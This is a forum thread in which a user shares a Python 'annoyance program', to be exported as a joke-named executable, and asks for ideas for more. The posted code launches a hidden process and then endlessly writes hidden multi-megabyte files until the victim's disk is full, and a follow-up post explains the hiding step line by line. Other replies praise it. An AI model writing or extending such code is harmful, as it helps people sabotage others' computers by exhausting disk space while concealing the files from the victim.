Results 1 to 10 of 10
  1. #1
    Ffrocks3's Avatar
    Join Date
    Dec 2014
    Gender
    male
    Location
    🛀
    Posts
    87
    Reputation
    10
    Thanks
    9
    My Mood
    Paranoid

    Lightbulb Program Suggestions

    So I made this [In Python] as my first *Annoyance Program*. I wanted to make some more, Any ideas?

    This one opens plays elevator music hides itself and then makes hidden files that don't stop growing in the same folder it's in.
    (Named Viagra.exe After exported because it grows fast and big)

    Code:
    # -*- coding: utf-8 -*-
    from errno import *
    from sys import *
    import os
    from msvcrt import *
    from time import *
    from random import *
    import subprocess
    
    ## Music Time Bby.
    
    ##os.system("start ElevatorMusic.mp3")
    os.system('start Multitool.exe')
    
    ##Hiden
    def startProgram( ):
        SW_HIDE = 0
        info = subprocess.STARTUPINFO( )
        info.dwFlags = subprocess.STARTF_USESHOWWINDOW
        info.wShowWindow=SW_HIDE
        subprocess.Popen(r' Multitool.exe', startupinfo=info)
        startProgram
    
    ##Write File
    name=randint(0,9999999999)
    write_str="�"*1024*1024*10
    with open(str(name), 'w') as f:
        while True:
            try:
                fn=str(name)
                p=os.popen('attrib +h ' + fn)
                t=p.read()
                p.close()
                f.write(write_str)
                f.flush()
            except IOError as err:
                if err.errno == errno.ENOSPC:
                    write_str_len=len(write_str)
                    if write_str_len>1:
                        write_str=write_str[:write_str_len/2]
                    else:
                        break
                else:
                    raise
                    raise
    Last edited by Ffrocks3; 10-29-2015 at 02:30 PM.

  2. #2
    Dab's Avatar
    Join Date
    Jun 2015
    Gender
    female
    Posts
    5,426
    Reputation
    663
    Thanks
    9,873
    That's python wtf? Maybe I'm thinking of perl but damn that shit is easy to understand lol. It's just like VB.

  3. #3
    maestro1994's Avatar
    Join Date
    Sep 2015
    Gender
    male
    Posts
    95
    Reputation
    10
    Thanks
    13
    Quote Originally Posted by Dab1996426 View Post
    That's python wtf? Maybe I'm thinking of perl but damn that shit is easy to understand lol. It's just like VB.
    It's Python.

  4. #4
    Ffrocks3's Avatar
    Join Date
    Dec 2014
    Gender
    male
    Location
    🛀
    Posts
    87
    Reputation
    10
    Thanks
    9
    My Mood
    Paranoid
    Quote Originally Posted by maestro1994 View Post
    It's Python.
    Quote Originally Posted by Ffrocks3 View Post
    So I made this [In Python]
    Yep it is, I didn't Say that!

  5. #5
    maestro1994's Avatar
    Join Date
    Sep 2015
    Gender
    male
    Posts
    95
    Reputation
    10
    Thanks
    13
    Quote Originally Posted by Ffrocks3 View Post
    (Named Viagra.exe ...)
    ? What the @#~# is that name? You know what I mean ... Che roba è?

    Anyway I still can't understand so much the sense of the program. Are you a beginner?

  6. #6
    Ffrocks3's Avatar
    Join Date
    Dec 2014
    Gender
    male
    Location
    🛀
    Posts
    87
    Reputation
    10
    Thanks
    9
    My Mood
    Paranoid
    Quote Originally Posted by maestro1994 View Post
    ? What the @#~# is that name? You know what I mean ... Che roba è?

    Anyway I still can't understand so much the sense of the program. Are you a beginner?
    The Name is A Joke and nope but I can explain the Code:

    name=randint(0,9999999999) - Naming random files

    write_str="�"*1024*1024*10 = Making the file and filling it with some Mb of empty characters.

    fn=str(name)
    p=os.popen('attrib +h ' + fn)
    t=p.read()
    p.close()
    f.write(write_str)
    f.flush()

    - Hiding That File So you only can see if you have hidden files on.

  7. #7
    Law's Avatar
    Join Date
    Jun 2015
    Gender
    male
    Posts
    2,432
    Reputation
    174
    Thanks
    4,620
    My Mood
    Amused
    If it's python you could of just used a plug in for write file and edited it.

  8. #8
    -Panda-'s Avatar
    Join Date
    Nov 2012
    Gender
    male
    Location
    Australia
    Posts
    1,764
    Reputation
    42
    Thanks
    209
    My Mood
    Bored
    Cool program. Better then what I can achieve on python :3

  9. #9
    Ffrocks3's Avatar
    Join Date
    Dec 2014
    Gender
    male
    Location
    🛀
    Posts
    87
    Reputation
    10
    Thanks
    9
    My Mood
    Paranoid
    Quote Originally Posted by PandaThePro View Post
    Cool program. Better then what I can achieve on python :3
    Haha Thanks!

  10. #10
    griimnak's Avatar
    Join Date
    Nov 2015
    Gender
    male
    Location
    root
    Posts
    19
    Reputation
    10
    Thanks
    2
    My Mood
    Relaxed
    Haha that name fits the program perfectly. Cool script, +rep

Similar Threads

  1. [Suggestion] Programing Classes
    By zorats in forum Suggestions, Requests & General Help
    Replies: 3
    Last Post: 02-14-2013, 02:26 AM
  2. PROGRAM Suggestion * SO COOL!
    By HustlaOwnz in forum CrossFire Discussions
    Replies: 11
    Last Post: 07-04-2010, 11:16 PM
  3. [Request/Suggestion] More programming sections.
    By wr194t in forum Suggestions, Requests & General Help
    Replies: 0
    Last Post: 11-06-2007, 04:46 AM
  4. Any good game suggestions?
    By Zededarian in forum WarRock - International Hacks
    Replies: 1
    Last Post: 01-13-2006, 02:46 PM
  5. Problem Wit Hacking Programs
    By f5awp in forum General Gaming
    Replies: 5
    Last Post: 01-10-2006, 05:44 AM

Tags for this Thread